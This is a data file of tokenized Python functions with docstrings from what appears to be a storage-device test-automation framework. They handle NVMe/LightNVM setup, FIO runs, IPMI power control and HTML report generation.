{"signature": "def process_trun(trun):", "body": "trun[\"<STR_LIT>\"] = runlogs_to_html(trun[\"<STR_LIT>\"])<EOL>trun[\"<STR_LIT>\"] = aux_listing(trun[\"<STR_LIT>\"])<EOL>trun[\"<STR_LIT>\"] = extract_hook_names(trun)<EOL>return True<EOL>", "docstring": "Goes through the trun and processes \"run.log", "id": "f13339:m8"}
{"signature": "def postprocess(trun):", "body": "plog = []<EOL>plog.append((\"<STR_LIT>\", process_trun(trun)))<EOL>for tsuite in trun[\"<STR_LIT>\"]:<EOL><INDENT>plog.append((\"<STR_LIT>\", process_tsuite(tsuite)))<EOL>for tcase in tsuite[\"<STR_LIT>\"]:<EOL><INDENT>plog.append((\"<STR_LIT>\", process_tcase(tcase)))<EOL><DEDENT><DEDENT>for task, success in plog:<EOL><INDENT>if not success:<EOL><INDENT>cij.err(\"<STR_LIT>\" % task)<EOL><DEDENT><DEDENT>return sum((success for task, success in plog))<EOL>", "docstring": "Perform postprocessing of the given test run", "id": "f13339:m9"}
{"signature": "def dset_to_html(dset, tmpl_fpath):", "body": "def stamp_to_datetime(stamp):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return datetime.datetime.fromtimestamp(int(stamp))<EOL><DEDENT>def strftime(dtime, fmt):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return dtime.strftime(fmt)<EOL><DEDENT>def ansi_to_html(ansi):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>conv = ansi2html.Ansi2HTMLConverter(<EOL>scheme=\"<STR_LIT>\",<EOL>inline=True<EOL>)<EOL>html = conv.convert(ansi, full=False)<EOL>with open(\"<STR_LIT>\", \"<STR_LIT:w>\") as html_file:<EOL><INDENT>html_file.write(html)<EOL><DEDENT>return html<EOL><DEDENT>tmpl_dpath = os.path.dirname(tmpl_fpath)<EOL>tmpl_fname = os.path.basename(tmpl_fpath)<EOL>env = jinja2.Environment(<EOL>autoescape=True,<EOL>loader=jinja2.FileSystemLoader(tmpl_dpath)<EOL>)<EOL>env.filters['<STR_LIT>'] = stamp_to_datetime<EOL>env.filters['<STR_LIT>'] = strftime<EOL>env.filters['<STR_LIT>'] = ansi_to_html<EOL>tmpl = env.get_template(tmpl_fname)<EOL>return tmpl.render(dset=dset)<EOL>", "docstring": "@returns A HTML representation of the given 'dset' using the template at\n'tmpl_fpath'", "id": "f13339:m10"}
{"signature": "def rehome(old, new, struct):", "body": "if old == new:<EOL><INDENT>return<EOL><DEDENT>if isinstance(struct, list):<EOL><INDENT>for item in struct:<EOL><INDENT>rehome(old, new, item)<EOL><DEDENT><DEDENT>elif isinstance(struct, dict):<EOL><INDENT>for key, val in struct.iteritems():<EOL><INDENT>if isinstance(val, (dict, list)):<EOL><INDENT>rehome(old, new, val)<EOL><DEDENT>elif \"<STR_LIT>\" in key:<EOL><INDENT>continue<EOL><DEDENT>elif \"<STR_LIT>\" in key:<EOL><INDENT>continue<EOL><DEDENT>elif \"<STR_LIT:root>\" in key or \"<STR_LIT:path>\" in key:<EOL><INDENT>struct[key] = struct[key].replace(old, new)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Replace all absolute paths to \"re-home\" it", "id": "f13339:m11"}
{"signature": "def main(args):", "body": "trun = cij.runner.trun_from_file(args.trun_fpath)<EOL>rehome(trun[\"<STR_LIT>\"][\"<STR_LIT>\"], args.output, trun)<EOL>postprocess(trun)<EOL>cij.emph(\"<STR_LIT>\" % args.tmpl_fpath)<EOL>cij.emph(\"<STR_LIT>\" % args.output)<EOL>html_fpath = os.sep.join([args.output, \"<STR_LIT>\" % args.tmpl_name])<EOL>cij.emph(\"<STR_LIT>\" % html_fpath)<EOL>try:                                    <EOL><INDENT>with open(html_fpath, '<STR_LIT:w>') as html_file:<EOL><INDENT>html_file.write(dset_to_html(trun, args.tmpl_fpath))<EOL><DEDENT><DEDENT>except (IOError, OSError, ValueError) as exc:<EOL><INDENT>import traceback<EOL>traceback.print_exc()<EOL>cij.err(\"<STR_LIT>\" % exc)<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Main entry point", "id": "f13339:m12"}
{"signature": "def tindex(spath=None):", "body": "spath = spath if spath else os.environ.get(\"<STR_LIT>\", None)<EOL>if spath is None:<EOL><INDENT>return None<EOL><DEDENT>tests = []                          <EOL>for root, _, files in os.walk(spath):<EOL><INDENT>if root != spath:<EOL><INDENT>continue<EOL><DEDENT>tests += [f for f in files if f[-<NUM_LIT:3>:] in [\"<STR_LIT>\", \"<STR_LIT>\"]]<EOL><DEDENT>return tests<EOL>", "docstring": "Lists tindex in CIJ_TESTCASES\n\n@Returns On success, a list of filenames is returned. On error, None is\nreturned", "id": "f13340:m0"}
{"signature": "def envs():", "body": "variables = {}<EOL>for req in REQS:<EOL><INDENT>prefix = req.upper()<EOL>variables[prefix] = cij.env_to_dict(<EOL>prefix, getattr(cij, req).REQUIRED + getattr(cij, req).EXPORTED<EOL>)<EOL><DEDENT>return variables<EOL>", "docstring": "Return variables defined by modules required by test", "id": "f13340:m1"}
{"signature": "def require(req):", "body": "REQS.append(req)<EOL>", "docstring": "Add test requirement", "id": "f13340:m2"}
{"signature": "def enter():", "body": "if cij.ssh.env():<EOL><INDENT>tfail(\"<STR_LIT>\")<EOL><DEDENT>for req in REQS:<EOL><INDENT>if getattr(cij, req).env():<EOL><INDENT>tfail()<EOL><DEDENT><DEDENT>cij.emph(\"<STR_LIT>\")<EOL>", "docstring": "Enter the test, check requirements and setup aux. environment", "id": "f13340:m3"}
{"signature": "def texit(msg=None, rcode=<NUM_LIT:1>):", "body": "msg = \"<STR_LIT>\" % msg if msg else \"<STR_LIT>\"<EOL>if rcode:<EOL><INDENT>cij.err(\"<STR_LIT>\" % msg)<EOL><DEDENT>else:<EOL><INDENT>cij.good(\"<STR_LIT>\" % msg)<EOL><DEDENT>sys.exit(rcode)<EOL>", "docstring": "Exit the test", "id": "f13340:m4"}
{"signature": "def tpass(msg=None):", "body": "texit(msg, <NUM_LIT:0>)<EOL>", "docstring": "Testing: Exit test indicating test passed", "id": "f13340:m5"}
{"signature": "def tfail(msg=None):", "body": "texit(msg, <NUM_LIT:1>)<EOL>", "docstring": "Testing: Exit test indicating test failed", "id": "f13340:m6"}
{"signature": "def command(cmd, ssh=True, shell=True, echo=True):", "body": "if ssh:<EOL><INDENT>return cij.ssh.command(cmd, shell, echo)<EOL><DEDENT>return cij.util.execute(cmd, shell, echo)<EOL>", "docstring": "Execute the given 'cmd'\n\n@returns (rcode, stdout, stderr)", "id": "f13340:m7"}
{"signature": "def command_to_struct(cmd):", "body": "struct = None<EOL>rcode, stdout, stderr = command(cmd)<EOL>try:<EOL><INDENT>lines = []<EOL>for line in stdout.splitlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT:#>\"):<EOL><INDENT>continue<EOL><DEDENT>lines.append(line)<EOL><DEDENT>struct = yaml.safe_load(\"<STR_LIT:\\n>\".join(lines))<EOL><DEDENT>except (yaml.YAMLError) as exc:<EOL><INDENT>cij.err(\"<STR_LIT>\" % exc)<EOL><DEDENT>return rcode, stdout, stderr, struct<EOL>", "docstring": "Same as `command` except it tries to convert stdout to struct\n\n@returns (rcode, struct, stderr, struct)", "id": "f13340:m8"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>lnvm = cij.env_to_dict(PREFIX, REQUIRED)<EOL>nvme = cij.env_to_dict(\"<STR_LIT>\", [\"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" not in lnvm.keys():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>if \"<STR_LIT>\" not in lnvm.keys():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>if \"<STR_LIT>\" not in lnvm.keys():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>lnvm[\"<STR_LIT>\"] = \"<STR_LIT>\" % (nvme[\"<STR_LIT>\"], int(lnvm[\"<STR_LIT>\"]), int(lnvm[\"<STR_LIT>\"]))<EOL>lnvm[\"<STR_LIT>\"] = \"<STR_LIT>\" % lnvm[\"<STR_LIT>\"]<EOL>cij.env_export(PREFIX, EXPORTED, lnvm)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify LNVM variables and construct exported variables", "id": "f13341:m0"}
{"signature": "def create():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(\"<STR_LIT>\", [\"<STR_LIT>\"])<EOL>lnvm = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cij.emph(\"<STR_LIT>\" % lnvm[\"<STR_LIT>\"])<EOL>cmd = [\"<STR_LIT>\" % (<EOL>nvme[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"])]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True)<EOL>if rcode:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Create LNVM device", "id": "f13341:m1"}
{"signature": "def recover():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>nvme = cij.env_to_dict(\"<STR_LIT>\", [\"<STR_LIT>\"])<EOL>lnvm = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cij.emph(\"<STR_LIT>\" % lnvm[\"<STR_LIT>\"])<EOL>cmd = [\"<STR_LIT>\" % (<EOL>nvme[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"], lnvm[\"<STR_LIT>\"])]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True)<EOL>if rcode:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Recover LNVM device", "id": "f13341:m2"}
{"signature": "def remove():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>lnvm = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cij.emph(\"<STR_LIT>\" % lnvm[\"<STR_LIT>\"])<EOL>cmd = [\"<STR_LIT>\" % (lnvm[\"<STR_LIT>\"])]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True)<EOL>if rcode:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Remove LNVM device", "id": "f13341:m3"}
{"signature": "def exists():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>lnvm = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = ['<STR_LIT>' % lnvm[\"<STR_LIT>\"]]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>if rcode:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Verify that the ENV defined LNVM device exists", "id": "f13341:m4"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify FIO variables and construct exported variables", "id": "f13342:m0"}
{"signature": "def __run(self, shell=True, echo=True):", "body": "if env():<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>cij.emph(\"<STR_LIT>\" % (shell, self.__prefix + self.__suffix))<EOL>return cij.ssh.command(self.__prefix, shell, echo, self.__suffix)<EOL>", "docstring": "Run DMESG job", "id": "f13342:c0:m1"}
{"signature": "def start(self):", "body": "self.__thread = Thread(target=self.__run, args=(True, False))<EOL>self.__thread.setDaemon(True)<EOL>self.__thread.start()<EOL>", "docstring": "Start DMESG job in thread", "id": "f13342:c0:m2"}
{"signature": "def terminate(self):", "body": "if self.__thread:<EOL><INDENT>cmd = [\"<STR_LIT>\"]<EOL>status, output, _ = cij.util.execute(cmd, shell=True, echo=True)<EOL>if status:<EOL><INDENT>cij.warn(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>tty = output.split()[<NUM_LIT:1>]<EOL>cmd = [\"<STR_LIT>\".format(\"<STR_LIT:U+0020>\".join(self.__prefix), tty)]<EOL>status, _, _ = cij.util.execute(cmd, shell=True, echo=True)<EOL>if status:<EOL><INDENT>cij.warn(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>self.__thread.join()<EOL>self.__thread = None<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Terminate DMESG job", "id": "f13342:c0:m3"}
{"signature": "def index(search_path, ext=None):", "body": "if ext is None:<EOL><INDENT>ext = \"<STR_LIT>\"<EOL><DEDENT>fnames = set([])<EOL>for _, _, files in os.walk(search_path):<EOL><INDENT>for fname in files:<EOL><INDENT>if os.path.splitext(fname)[-<NUM_LIT:1>] in EXTS[ext]:<EOL><INDENT>fnames.add(fname)<EOL><DEDENT><DEDENT><DEDENT>return fnames<EOL>", "docstring": "@returns a set of filenames with extension 'ext' in 'search_path", "id": "f13343:m0"}
{"signature": "def get_time_stamp():", "body": "if CIJ_ECHO_TIME_STAMP == \"<STR_LIT:1>\":<EOL><INDENT>return time.strftime('<STR_LIT>', time.localtime(time.time()))<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Get time stampe if CIJ_ECHO_TIME_STAMP is 1", "id": "f13343:m1"}
{"signature": "def info(txt):", "body": "print(\"<STR_LIT>\" % (PR_EMPH_CC, get_time_stamp(), txt, PR_NC))<EOL>sys.stdout.flush()<EOL>", "docstring": "Print, emphasized 'neutral', the given 'txt' message", "id": "f13343:m2"}
{"signature": "def good(txt):", "body": "print(\"<STR_LIT>\" % (PR_GOOD_CC, get_time_stamp(), txt, PR_NC))<EOL>sys.stdout.flush()<EOL>", "docstring": "Print, emphasized 'good', the given 'txt' message", "id": "f13343:m3"}
{"signature": "def warn(txt):", "body": "print(\"<STR_LIT>\" % (PR_WARN_CC, get_time_stamp(), txt, PR_NC))<EOL>sys.stdout.flush()<EOL>", "docstring": "Print, emphasized 'warning', the given 'txt' message", "id": "f13343:m4"}
{"signature": "def err(txt):", "body": "print(\"<STR_LIT>\" % (PR_ERR_CC, get_time_stamp(), txt, PR_NC))<EOL>sys.stdout.flush()<EOL>", "docstring": "Print, emphasized 'error', the given 'txt' message", "id": "f13343:m5"}
{"signature": "def emph(txt, rval=None):", "body": "if rval is None:    <EOL><INDENT>info(txt)<EOL><DEDENT>elif rval == <NUM_LIT:0>:     <EOL><INDENT>good(txt)<EOL><DEDENT>else:               <EOL><INDENT>err(txt)<EOL><DEDENT>", "docstring": "Print, emphasized based on rval", "id": "f13343:m6"}
{"signature": "def paths_from_env(prefix=None, names=None):", "body": "def expand_path(path):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return os.path.abspath(os.path.expanduser(os.path.expandvars(path)))<EOL><DEDENT>if prefix is None:<EOL><INDENT>prefix = \"<STR_LIT>\"<EOL><DEDENT>if names is None:<EOL><INDENT>names = [<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>]<EOL><DEDENT>conf = {v: os.environ.get(\"<STR_LIT:_>\".join([prefix, v])) for v in names}<EOL>for env in (e for e in conf.keys() if e[:len(prefix)] in names and conf[e]):<EOL><INDENT>conf[env] = expand_path(conf[env])<EOL>if not os.path.exists(conf[env]):<EOL><INDENT>err(\"<STR_LIT>\" % (prefix, env, conf[env]))<EOL><DEDENT><DEDENT>return conf<EOL>", "docstring": "Construct dict of paths from environment variables", "id": "f13343:m7"}
{"signature": "def env_to_dict(prefix, names):", "body": "env = {}<EOL>for name in names:<EOL><INDENT>env[name] = ENV.get(\"<STR_LIT:_>\".join([prefix, name]))<EOL>if env[name] is None:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return env<EOL>", "docstring": "Construct dict from environment variables named: PREFIX_NAME\n\n@returns dict of names", "id": "f13343:m8"}
{"signature": "def env_export(prefix, exported, env):", "body": "for exp in exported:<EOL><INDENT>ENV[\"<STR_LIT:_>\".join([prefix, exp])] = env[exp]<EOL><DEDENT>", "docstring": "Define the list of 'exported' variables with 'prefix' with values from 'env'", "id": "f13343:m9"}
{"signature": "def dump(buf, indent=<NUM_LIT:0>, skip=\"<STR_LIT>\"):", "body": "if not isinstance(type(buf), (type(Union), type(Structure))):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % type(buf))<EOL><DEDENT>for field in getattr(buf, '<STR_LIT>'):<EOL><INDENT>name, types = field[<NUM_LIT:0>], field[<NUM_LIT:1>]<EOL>if name in skip:<EOL><INDENT>return<EOL><DEDENT>value = getattr(buf, name)<EOL>if isinstance(types, (type(Union), type(Structure))):<EOL><INDENT>cij.info(\"<STR_LIT>\" % (\"<STR_LIT:U+0020>\" * indent, name))<EOL>dump(value, indent+<NUM_LIT:2>, skip)<EOL><DEDENT>elif isinstance(types, type(Array)):<EOL><INDENT>for i, item in enumerate(value):<EOL><INDENT>name_index = \"<STR_LIT>\" % (name, i)<EOL>if isinstance(types, (type(Union), type(Structure))):<EOL><INDENT>cij.info(\"<STR_LIT>\" % (\"<STR_LIT:U+0020>\" * indent, name_index))<EOL>dump(item, indent + <NUM_LIT:2>, skip)<EOL><DEDENT>else:<EOL><INDENT>cij.info(\"<STR_LIT>\" % (\"<STR_LIT:U+0020>\" * indent, name_index, item))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>cij.info(\"<STR_LIT>\" % (\"<STR_LIT:U+0020>\" * indent, name, value))<EOL><DEDENT><DEDENT>", "docstring": "Dump UnionType/StructType to STDOUT", "id": "f13344:m0"}
{"signature": "def compare(buf_a, buf_b, ignore):", "body": "for field in getattr(buf_a, '<STR_LIT>'):<EOL><INDENT>name, types = field[<NUM_LIT:0>], field[<NUM_LIT:1>]<EOL>if name in ignore:<EOL><INDENT>continue<EOL><DEDENT>val_a = getattr(buf_a, name)<EOL>val_b = getattr(buf_b, name)<EOL>if isinstance(types, (type(Union), type(Structure))):<EOL><INDENT>if compare(val_a, val_b, ignore):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>elif isinstance(types, type(Array)):<EOL><INDENT>for i, _ in enumerate(val_a):<EOL><INDENT>if isinstance(types, (type(Union), type(Structure))):<EOL><INDENT>if compare(val_a[i], val_b[i], ignore):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if val_a[i] != val_b[i]:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if val_a != val_b:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Compare of two Buffer item", "id": "f13344:m1"}
{"signature": "def length(self):", "body": "return self.m_len<EOL>", "docstring": "Get length of types", "id": "f13344:c0:m3"}
{"signature": "def size(self):", "body": "return self.m_size<EOL>", "docstring": "Get size of buffer", "id": "f13344:c0:m4"}
{"signature": "def types(self):", "body": "return self.m_types<EOL>", "docstring": "Get types of buffer", "id": "f13344:c0:m5"}
{"signature": "def memcopy(self, stream, offset=<NUM_LIT:0>, length=float(\"<STR_LIT>\")):", "body": "data = [ord(i) for i in list(stream)]<EOL>size = min(length, len(data), self.m_size)<EOL>buff = cast(self.m_buf, POINTER(c_uint8))<EOL>for i in range(size):<EOL><INDENT>buff[offset + i] = data[i]<EOL><DEDENT>", "docstring": "Copy stream to buffer", "id": "f13344:c0:m6"}
{"signature": "def write(self, path):", "body": "with open(path, \"<STR_LIT:wb>\") as fout:<EOL><INDENT>fout.write(self.m_buf)<EOL><DEDENT>", "docstring": "Write buffer to file", "id": "f13344:c0:m7"}
{"signature": "def read(self, path):", "body": "with open(path, \"<STR_LIT:rb>\") as fout:<EOL><INDENT>memmove(self.m_buf, fout.read(self.m_size), self.m_size)<EOL><DEDENT>", "docstring": "Read file to buffer", "id": "f13344:c0:m8"}
{"signature": "def dump(self, offset=<NUM_LIT:0>, length=<NUM_LIT:1>):", "body": "for i in range(offset, offset + length):<EOL><INDENT>if \"<STR_LIT>\" in str(self.m_types):<EOL><INDENT>cij.info(\"<STR_LIT>\" % (i, self.m_buf[i]))<EOL><DEDENT>else:<EOL><INDENT>cij.info(\"<STR_LIT>\" % i)<EOL>dump(self.m_buf[i], <NUM_LIT:2>)<EOL><DEDENT><DEDENT>", "docstring": "Dump item", "id": "f13344:c0:m9"}
{"signature": "def compare(self, buf, offset=<NUM_LIT:0>, length=<NUM_LIT:1>, ignore=\"<STR_LIT>\"):", "body": "for i in range(offset, offset + length):<EOL><INDENT>if isinstance(self.m_types, (type(Union), type(Structure))):<EOL><INDENT>if compare(self.m_buf[i], buf[i], ignore=ignore):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>elif self.m_buf[i] != buf[i]:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Compare buffer", "id": "f13344:c0:m10"}
{"signature": "def power_on(self, interval=<NUM_LIT:200>):", "body": "if self.__power_on_port is None:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return self.__press(self.__power_on_port, interval=interval)<EOL>", "docstring": "230v power on", "id": "f13345:c0:m5"}
{"signature": "def power_off(self, interval=<NUM_LIT:200>):", "body": "if self.__power_off_port is None:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return self.__press(self.__power_off_port, interval=interval)<EOL>", "docstring": "230v power off", "id": "f13345:c0:m6"}
{"signature": "def power_btn(self, interval=<NUM_LIT:200>):", "body": "if self.__power_btn_port is None:<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return self.__press(self.__power_btn_port, interval=interval)<EOL>", "docstring": "TARGET power button", "id": "f13345:c0:m7"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>block = cij.env_to_dict(PREFIX, REQUIRED)<EOL>block[\"<STR_LIT>\"] = \"<STR_LIT>\" % block[\"<STR_LIT>\"]<EOL>cij.env_export(PREFIX, EXPORTED, block)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify BLOCK variables and construct exported variables", "id": "f13346:m0"}
{"signature": "def exists():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>block = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = ['<STR_LIT>' % block[\"<STR_LIT>\"]]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>return rcode<EOL>", "docstring": "Verify that the ENV defined BLOCK device exists", "id": "f13346:m1"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify FIO variables and construct exported variables", "id": "f13347:m0"}
{"signature": "def pkill():", "body": "if env():<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>cmd = [\"<STR_LIT>\"]<EOL>status, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>if not status:<EOL><INDENT>status, _, _ = cij.ssh.command([\"<STR_LIT>\"], shell=True)<EOL>if status:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Kill all of FIO processes", "id": "f13347:m1"}
{"signature": "def run(self):", "body": "self.output = self.target(*self.args)<EOL>", "docstring": "Start run thread", "id": "f13347:c0:m1"}
{"signature": "def result(self):", "body": "return self.output<EOL>", "docstring": "Get result of thread", "id": "f13347:c0:m2"}
{"signature": "def __parse_parms(self):", "body": "args = list()<EOL>for key, val in self.__parm.items():<EOL><INDENT>key = key.replace(\"<STR_LIT>\", \"<STR_LIT>\").lower()<EOL>if key == \"<STR_LIT>\":<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL><DEDENT>if val is None:<EOL><INDENT>args.append(\"<STR_LIT>\" % key)<EOL><DEDENT>else:<EOL><INDENT>args.append(\"<STR_LIT>\" % (key, val))<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Translate dict parameters to string", "id": "f13347:c1:m1"}
{"signature": "def import_parms(self, args):", "body": "for key, val in args.items():<EOL><INDENT>self.set_parm(key, val)<EOL><DEDENT>", "docstring": "Import external dict to internal dict", "id": "f13347:c1:m2"}
{"signature": "def set_parm(self, key, val=None):", "body": "self.__parm[key] = val<EOL>", "docstring": "Set parameter of FIO\nIf val is None, the parameter is \"--key\"\nIf val is not None, the parameter is \"--key=val\"", "id": "f13347:c1:m3"}
{"signature": "def get_parm(self, key):", "body": "if key in self.__parm.keys():<EOL><INDENT>return self.__parm[key]<EOL><DEDENT>return None<EOL>", "docstring": "Get parameter of FIO", "id": "f13347:c1:m4"}
{"signature": "def start(self):", "body": "self.__thread = Threads(target=self.run, args=(True, True, False))<EOL>self.__thread.setDaemon(True)<EOL>self.__thread.start()<EOL>", "docstring": "Run FIO job in thread", "id": "f13347:c1:m5"}
{"signature": "def join(self, timeout=None):", "body": "if self.__thread:<EOL><INDENT>self.__thread.join(timeout)<EOL><DEDENT>", "docstring": "Wait until the FIO thread terminates", "id": "f13347:c1:m6"}
{"signature": "def result(self):", "body": "if self.__thread:<EOL><INDENT>return self.__thread.result()<EOL><DEDENT>return None<EOL>", "docstring": "Get result of FIO thread", "id": "f13347:c1:m7"}
{"signature": "def run(self, shell=True, cmdline=False, echo=True):", "body": "if env():<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>cmd = [\"<STR_LIT>\"] + self.__parse_parms()<EOL>if cmdline:<EOL><INDENT>cij.emph(\"<STR_LIT>\" % (shell, cmd))<EOL><DEDENT>return cij.ssh.command(cmd, shell, echo)<EOL>", "docstring": "Run FIO job", "id": "f13347:c1:m8"}
{"signature": "def env():", "body": "ipmi = cij.env_to_dict(PREFIX, REQUIRED)<EOL>if ipmi is None:<EOL><INDENT>ipmi[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>ipmi[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>ipmi[\"<STR_LIT>\"] = \"<STR_LIT:localhost>\"<EOL>ipmi[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>cij.info(\"<STR_LIT>\" % (<EOL>ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"]<EOL>))<EOL><DEDENT>cij.env_export(PREFIX, EXPORTED, ipmi)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify IPMI environment", "id": "f13348:m0"}
{"signature": "def cmd(command):", "body": "env()<EOL>ipmi = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>command = \"<STR_LIT>\" % (<EOL>ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"], ipmi[\"<STR_LIT>\"], command)<EOL>cij.info(\"<STR_LIT>\" % command)<EOL>return cij.util.execute(command, shell=True, echo=True)<EOL>", "docstring": "Send IPMI 'command' via ipmitool", "id": "f13348:m1"}
{"signature": "def pwr_on():", "body": "cmd(\"<STR_LIT>\")<EOL>", "docstring": "Target On", "id": "f13348:m2"}
{"signature": "def pwr_off():", "body": "cmd(\"<STR_LIT>\")<EOL>", "docstring": "Target Off", "id": "f13348:m3"}
{"signature": "def pwr_reset():", "body": "cmd(\"<STR_LIT>\")<EOL>", "docstring": "Target reset", "id": "f13348:m4"}
{"signature": "def env():", "body": "if cij.ssh.env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>pci = cij.env_to_dict(PREFIX, REQUIRED)<EOL>pci[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>pci[\"<STR_LIT>\"] = os.sep.join([pci[\"<STR_LIT>\"], \"<STR_LIT>\", pci[\"<STR_LIT>\"]])<EOL>cij.env_export(PREFIX, EXPORTED, pci)<EOL>return <NUM_LIT:0><EOL>", "docstring": "Verify PCI variables and construct exported variables", "id": "f13349:m0"}
{"signature": "def exists():", "body": "if env():<EOL><INDENT>cij.err(\"<STR_LIT>\")<EOL>return <NUM_LIT:1><EOL><DEDENT>pci = cij.env_to_dict(PREFIX, EXPORTED + REQUIRED)<EOL>cmd = ['<STR_LIT>' % pci[\"<STR_LIT>\"]]<EOL>rcode, _, _ = cij.ssh.command(cmd, shell=True, echo=False)<EOL>return rcode<EOL>", "docstring": "Verify that the ENV defined PCI device exists", "id": "f13349:m1"}
{"signature": "def yml_fpath(output_path):", "body": "return os.sep.join([output_path, \"<STR_LIT>\"])<EOL>", "docstring": "Returns the path to the trun-file", "id": "f13350:m0"}
